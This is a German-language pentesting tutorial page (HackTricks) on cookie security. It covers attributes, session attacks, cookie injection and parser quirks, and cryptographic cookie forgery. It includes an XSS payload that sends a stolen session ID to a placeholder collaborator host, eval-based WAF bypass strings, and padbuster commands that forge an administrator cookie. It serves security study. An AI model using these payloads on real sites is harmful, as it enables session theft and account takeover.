Cookies Hacking

Reading time: 17 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Cookies verfügen über mehrere Attribute, die ihr Verhalten im Browser des Nutzers steuern. Hier eine Übersicht dieser Attribute in eher sachlichem Ton:

Expires und Max-Age

Das Ablaufdatum eines Cookies wird durch das Attribut Expires bestimmt. Das Attribut Max-age definiert hingegen die Anzahl der Sekunden, bis ein Cookie gelöscht wird. Bevorzuge Max-age, da es moderneren Praktiken entspricht.

Domain

Die Hosts, die ein Cookie erhalten sollen, werden durch das Attribut Domain festgelegt. Standardmäßig entspricht dies dem Host, der das Cookie gesetzt hat, ohne dessen Subdomains. Wird das Domain-Attribut jedoch explizit gesetzt, umfasst es auch Subdomains. Dadurch ist das Setzen von Domain weniger restriktiv und nützlich, wenn Cookies zwischen Subdomains geteilt werden sollen. Beispielsweise macht Domain=mozilla.org Cookies auf Subdomains wie developer.mozilla.org zugänglich.

Path

Das Path-Attribut gibt einen spezifischen URL-Pfad an, der in der angeforderten URL vorhanden sein muss, damit der Cookie-Header gesendet wird. Das Attribut behandelt das Zeichen / als Verzeichnistrenner, sodass auch Übereinstimmungen in Unterverzeichnissen möglich sind.

Ordering Rules

Wenn zwei Cookies denselben Namen tragen, richtet sich die Auswahl des zu sendenden Cookies nach:

  • Dem Cookie, dessen Path am längsten mit der angeforderten URL übereinstimmt.
  • Dem zuletzt gesetzten Cookie, falls die Paths identisch sind.

SameSite

  • Das Attribut SameSite legt fest, ob Cookies bei Requests gesendet werden, die von Drittanbieter-Domains ausgehen. Es bietet drei Einstellungen:
  • Strict: Verhindert, dass das Cookie bei Drittanbieter-Requests gesendet wird.
  • Lax: Erlaubt das Senden des Cookies bei GET-Requests, die von Drittanbieter-Websites initiiert werden.
  • None: Erlaubt das Senden des Cookies von jeder Drittanbieter-Domain.

Beim Konfigurieren von Cookies hilft das Verständnis dieser Attribute, um sicherzustellen, dass sie sich in verschiedenen Szenarien wie erwartet verhalten.

Request TypeExample CodeCookies Sent When
Link<a href="..."></a>NotSet*, Lax, None
Prerender<link rel="prerender" href=".."/>NotSet*, Lax, None
Form GET<form method="GET" action="...">NotSet*, Lax, None
Form POST<form method="POST" action="...">NotSet*, None
iframe<iframe src="..."></iframe>NotSet*, None
AJAX$.get("...")NotSet*, None
Image<img src="...">NetSet*, None

Tabelle von Invicti und leicht modifiziert.
Ein Cookie mit dem Attribut SameSite wird CSRF-Angriffe abschwächen, bei denen eine eingeloggte Sitzung erforderlich ist.

*Beachte, dass ab Chrome80 (Feb/2019) das Standardverhalten eines Cookies ohne SameSite-Attribut Lax sein wird (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Beachte, dass vorübergehend, nach Anwendung dieser Änderung, die Cookies ohne SameSite-Policy in Chrome während der ersten 2 Minuten als None behandelt werden und danach für top-level Cross-Site-POST-Requests als Lax.

HttpOnly

Verhindert, dass der Client auf das Cookie zugreift (z. B. via Javascript: document.cookie)

Bypasses

  • Falls eine Seite die Cookies als Antwort auf eine Anfrage zurückgibt (z. B. eine PHPinfo-Seite), ist es möglich, eine XSS auszunutzen, um eine Anfrage an diese Seite zu senden und die Cookies aus der Antwort zu stehlen (siehe Beispiel unter https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
  • Dies könnte mit TRACE-HTTP-Requests umgangen werden, da die Serverantwort (falls diese HTTP-Methode verfügbar ist) die gesendeten Cookies reflektiert. Diese Technik wird Cross-Site Tracking genannt.
  • Moderne Browser verhindern diese Technik, indem sie das Senden von TRACE-Requests aus JS nicht erlauben. Es wurden jedoch Umgehungen in spezifischer Software gefunden, z. B. durch Senden von \r\nTRACE statt TRACE an IE6.0 SP2.
  • Eine weitere Möglichkeit ist die Ausnutzung von zero/day-Schwachstellen in Browsern.
  • Es ist möglich, HttpOnly-Cookies zu überschreiben, indem ein Cookie Jar overflow-Angriff durchgeführt wird:

Cookie Jar Overflow

  • Es ist möglich, einen Cookie Smuggling-Angriff zu verwenden, um diese Cookies zu exfiltrieren
  • Wenn ein serverseitiger Endpoint die rohe Session-ID in der HTTP-Antwort zurückgibt (z. B. in HTML-Kommentaren oder einem Debug-Block), kann HttpOnly umgangen werden, indem ein XSS-Gadget verwendet wird, um diesen Endpoint abzurufen, das Geheimnis per regex zu extrahieren und es zu exfiltrieren. Beispiel eines XSS-Payload-Musters:
js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

Die Anfrage sendet das Cookie nur, wenn die HTTP-Anfrage über einen sicheren Kanal (typischerweise HTTPS) übertragen wird.

Cookies, die mit __Secure- vorangestellt sind, müssen zusammen mit dem secure Flag von Seiten gesetzt werden, die über HTTPS gesichert sind.

Bei Cookies, die mit __Host- vorangestellt sind, müssen mehrere Bedingungen erfüllt sein:

  • Sie müssen mit dem secure Flag gesetzt sein.
  • Sie müssen von einer Seite stammen, die durch HTTPS gesichert ist.
  • Es ist untersagt, eine Domain anzugeben, wodurch ihre Übertragung an Subdomains verhindert wird.
  • Der Path für diese Cookies muss auf / gesetzt sein.

Es ist wichtig zu beachten, dass Cookies mit dem Präfix __Host- weder an Superdomains noch an Subdomains gesendet werden dürfen. Diese Einschränkung hilft, Application-Cookies zu isolieren. Daher kann die Verwendung des __Host- Präfixes für alle Application-Cookies als gute Praxis zur Verbesserung von Sicherheit und Isolation betrachtet werden.

Überschreiben von Cookies

Eine Schutzmaßnahme von __Host--präfixierten Cookies besteht darin, zu verhindern, dass sie von Subdomains überschrieben werden. Dadurch werden zum Beispiel Cookie Tossing attacks verhindert. In dem Talk Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) wird gezeigt, dass es möglich war, __HOST- präfixierte Cookies von einer Subdomain zu setzen, indem der Parser ausgetrickst wurde, zum Beispiel durch Hinzufügen von "=" am Anfang oder am Anfang und Ende...:

Oder in PHP war es möglich, andere Zeichen am Anfang des Cookie-Namens hinzuzufügen, die durch Unterstriche ersetzt wurden, wodurch __HOST- Cookies überschrieben werden konnten:

Wenn ein benutzerdefiniertes Cookie sensible Daten enthält, überprüfe es (besonders wenn du an einem CTF teilnimmst), da es verwundbar sein könnte.

Cookies dekodieren und manipulieren

Sensible Daten, die in Cookies eingebettet sind, sollten immer geprüft werden. Cookies, die in Base64 oder ähnlichen Formaten kodiert sind, können oft dekodiert werden. Diese Schwachstelle erlaubt es Angreifern, den Inhalt des Cookies zu verändern und sich als andere Benutzer auszugeben, indem sie ihre veränderten Daten zurück in das Cookie kodieren.

Session Hijacking

Bei diesem Angriff wird das Cookie eines Benutzers gestohlen, um unautorisierten Zugriff auf dessen Konto in einer Anwendung zu erlangen. Mit dem gestohlenen Cookie kann sich ein Angreifer als der legitime Benutzer ausgeben.

Session Fixation

Bei diesem Szenario bringt ein Angreifer das Opfer dazu, ein bestimmtes Cookie zum Einloggen zu verwenden. Wenn die Anwendung beim Login kein neues Cookie vergibt, kann der Angreifer, der das ursprüngliche Cookie besitzt, das Opfer als dieses ausgeben. Diese Technik setzt voraus, dass sich das Opfer mit einem vom Angreifer bereitgestellten Cookie einloggt.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Session Donation

Hier überredet der Angreifer das Opfer, das Session-Cookie des Angreifers zu verwenden. Das Opfer, in dem Glauben, in seinem eigenen Konto eingeloggt zu sein, führt unbewusst Aktionen im Kontext des Kontos des Angreifers aus.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Click on the previous link to access a page explaining possible flaws in JWT.

JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.

Cross-Site Request Forgery (CSRF)

Dieser Angriff zwingt einen angemeldeten Benutzer dazu, unerwünschte Aktionen in einer Webanwendung auszuführen, in der er gerade authentifiziert ist. Angreifer können Cookies ausnutzen, die automatisch mit jeder Anfrage an die verwundbare Website gesendet werden.

Leere Cookies

(Check further details in theoriginal research) Browser erlauben die Erstellung von Cookies ohne Namen, was sich mit JavaScript wie folgt demonstrieren lässt:

js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Das Ergebnis im gesendeten cookie-Header ist a=v1; test value; b=v2;. Interessanterweise erlaubt dies die Manipulation von cookies, wenn ein cookie mit leerem Namen gesetzt wird, wodurch möglicherweise andere cookies kontrolliert werden können, indem man den leeren cookie auf einen bestimmten Wert setzt:

js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Das führt dazu, dass der Browser einen Cookie-Header sendet, der von jedem Webserver als Cookie mit dem Namen a und dem Wert b interpretiert wird.

Chrome Bug: Problem mit Unicode-Surrogat-Codepoints

In Chrome führt das Vorhandensein eines Unicode-Surrogat-Codepunkts in einem gesetzten Cookie dazu, dass document.cookie beschädigt wird und anschließend einen leeren String zurückgibt:

js
document.cookie = "\ud800=meep"

Das führt dazu, dass document.cookie einen leeren String ausgibt, was auf eine dauerhafte Beschädigung hinweist.

(Check further details in theoriginal research) Mehrere Webserver, darunter solche von Java (Jetty, TomCat, Undertow) und Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gehen Cookie-Strings aufgrund veralteter RFC2965-Unterstützung fehlerhaft um. Sie lesen einen doppelt-quotierten Cookie-Wert als einen einzigen Wert, selbst wenn er Semikolons enthält, die normalerweise Schlüssel-Wert-Paare trennen sollten:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

(Check further details in theoriginal research) Die fehlerhafte Parsing-Logik von Cookies durch Server, insbesondere Undertow, Zope und solche, die Python's http.cookie.SimpleCookie und http.cookie.BaseCookie verwenden, eröffnet Möglichkeiten für cookie injection attacks. Diese Server trennen den Beginn neuer Cookies nicht korrekt, wodurch Angreifer Cookies spoofen können:

  • Undertow erwartet ein neues Cookie unmittelbar nach einem quoted value ohne Semikolon.
  • Zope sucht nach einem Komma, um mit dem Parsen des nächsten Cookies zu beginnen.
  • Python's cookie classes beginnen mit dem Parsen bei einem Leerzeichen.

Diese Schwachstelle ist besonders gefährlich in Webanwendungen, die auf cookie-basierte CSRF-Protection setzen, da sie es Angreifern ermöglicht, gefälschte CSRF-token-Cookies zu injizieren und so Sicherheitsmaßnahmen zu umgehen. Das Problem wird durch Pythons Umgang mit doppelten Cookie-Namen verschärft, bei dem das letzte Vorkommen frühere überschreibt. Es wirft außerdem Bedenken für __Secure- und __Host- Cookies in unsicheren Kontexten auf und kann zu Autorisierungsumgehungen führen, wenn Cookies an Back-End-Server weitergereicht werden, die für Spoofing anfällig sind.

Cookies $version

WAF Bypass

According to this blogpost, es könnte möglich sein, das Cookie-Attribut $Version=1 zu verwenden, damit das Backend eine ältere Logik zum Parsen des Cookies nutzt (aufgrund von RFC2109). Außerdem können andere Werte wie $Domain und $Path verwendet werden, um das Verhalten des Backends bezüglich des Cookies zu verändern.

According to this blogpost ist es möglich, die cookie sandwich technique zu nutzen, um HttpOnly-Cookies zu stehlen. Dies sind die Voraussetzungen und Schritte:

  • Finde eine Stelle, an der ein scheinbar nutzloses cookie in der Response reflektiert wird
  • Create a cookie called $Version mit dem Wert 1 (du kannst das z. B. in einem XSS-Angriff aus JS heraus tun) mit einem spezifischeren Path, damit es die erste Position einnimmt (einige Frameworks wie python benötigen diesen Schritt nicht)
  • Create the cookie that is reflected mit einem Wert, der ein offenes doppeltes Anführungszeichen hinterlässt, und mit einem spezifischen Path, sodass es in der Cookie-DB direkt nach dem vorherigen ($Version) positioniert ist
  • Dann folgt das legitime Cookie in der Reihenfolge
  • Create a dummy cookie that closes the double quotes innerhalb seines Wertes

Auf diese Weise wird das Opfer-Cookie in der neuen Cookie-Version 1 eingeschlossen und wird immer dann reflektiert, wenn es reflektiert wird. e.g. from the post:

javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Siehe vorherigen Abschnitt.

Bypassing value analysis with quoted-string encoding

Diese Parsing-Logik sorgt dafür, dass Escape-Sequenzen in Cookie-Werten aufgelöst werden, sodass "\a" zu "a" wird. Das kann nützlich sein, um WAFS zu umgehen, z. B.:

  • eval('test') => forbidden
  • "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Im RFC2109 wird angegeben, dass ein Komma als Trenner zwischen Cookie-Werten verwendet werden kann. Außerdem ist es möglich, Leerzeichen und Tabs vor und nach dem Gleichheitszeichen hinzuzufügen. Deshalb erzeugt ein Cookie wie $Version=1; foo=bar, abc = qux nicht das Cookie "foo":"bar, admin = qux" sondern die Cookies "foo":"bar" und "admin":"qux". Beachte, wie 2 Cookies generiert werden und wie bei admin das Leerzeichen vor und nach dem Gleichheitszeichen entfernt wurde.

Schließlich fügen verschiedene backdoors in einem String unterschiedliche cookies, die in verschiedenen cookie headers übergeben wurden, zusammen, wie in:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Was es ermöglichen könnte, eine WAF zu umgehen, wie in diesem Beispiel:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Zusätzliche Prüfungen für besonders verwundbare Cookies

Grundlegende Prüfungen

  • Der cookie ist jedes Mal beim login gleich.
  • Log out und versuche, denselben cookie zu verwenden.
  • Versuche, dich mit 2 Geräten (oder Browsern) beim selben account mit demselben cookie einzuloggen.
  • Prüfe, ob der cookie Informationen enthält, und versuche, ihn zu verändern.
  • Versuche, mehrere accounts mit nahezu identischen usernames zu erstellen und prüfe, ob du Gemeinsamkeiten erkennen kannst.
  • Prüfe die "remember me" Option, falls vorhanden, um zu sehen, wie sie funktioniert. Falls sie vorhanden ist und verwundbar sein könnte, verwende immer nur den cookie von remember me ohne andere cookies.
  • Prüfe, ob der vorherige cookie noch funktioniert, nachdem du das Passwort geändert hast.

Wenn der cookie beim Einloggen gleich bleibt (oder nahezu), bedeutet das wahrscheinlich, dass der cookie mit einem Feld deines accounts verknüpft ist (wahrscheinlich dem username). Dann kannst du:

  • Versuche, viele accounts mit sehr ähnlichen usernames zu erstellen und versuche zu erraten, wie der Algorithmus funktioniert.
  • Versuche, den username mittels bruteforce anzugreifen. Wenn der cookie nur als Authentifizierungsmethode für deinen username dient, kannst du einen account mit dem username "Bmin" erstellen und mittels bruteforce jedes einzelne bit deines cookies durchprobieren, weil eines der cookies, die du testen wirst, dasjenige von "admin" sein wird.
  • Versuche Padding Oracle (du kannst den Inhalt des cookies entschlüsseln). Verwende padbuster.

Padding Oracle - Padbuster Beispiele

bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster wird mehrere Versuche durchführen und Sie fragen, welche Bedingung der Fehlerzustand ist (diejenige, die nicht gültig ist).

Anschließend wird es mit dem decrypting the cookie beginnen (es kann mehrere Minuten dauern).

Wenn der Angriff erfolgreich durchgeführt wurde, könnten Sie versuchen, eine Zeichenfolge Ihrer Wahl zu encrypt. Zum Beispiel, wenn Sie encrypt user=administrator.

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

This execution will give you the cookie correctly encrypted and encoded with the string user=administrator inside.

CBC-MAC

Vielleicht könnte ein cookie einen Wert haben und mit CBC signiert werden. Dann ist die Integrität des Wertes die signature, die mittels CBC über denselben Wert erzeugt wird. Da empfohlen wird, als IV einen Nullvektor zu verwenden, könnte diese Art der Integritätsprüfung verwundbar sein.

The attack

  1. Hole die signature von username administ = t
  2. Hole die signature von username rator\x00\x00\x00 XOR t = t'
  3. Setze im cookie den Wert administrator+t' (t' wird eine gültige signature von (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 sein)

ECB

If the cookie is encrypted using ECB it could be vulnerable.
Wenn du dich einloggst, muss der cookie, den du erhältst, immer derselbe sein.

How to detect and attack:

Erstelle 2 users mit fast denselben Daten (username, password, email, etc.) und versuche, ein Muster im erhaltenen cookie zu entdecken.

Erstelle z. B. einen user namens "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" und prüfe, ob es ein Muster im cookie gibt (da ECB mit demselben key jeden block verschlüsselt, könnten dieselben verschlüsselten Bytes erscheinen, wenn der username verschlüsselt wird).

Es sollte ein Muster geben (mit der Größe eines verwendeten block). Wenn du weißt, wie eine Reihe von "a" verschlüsselt wird, kannst du einen username erstellen: "a"*(size of the block)+"admin". Dann kannst du das verschlüsselte Muster eines block von "a" aus dem cookie löschen. Und du erhältst den cookie des username "admin".

References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks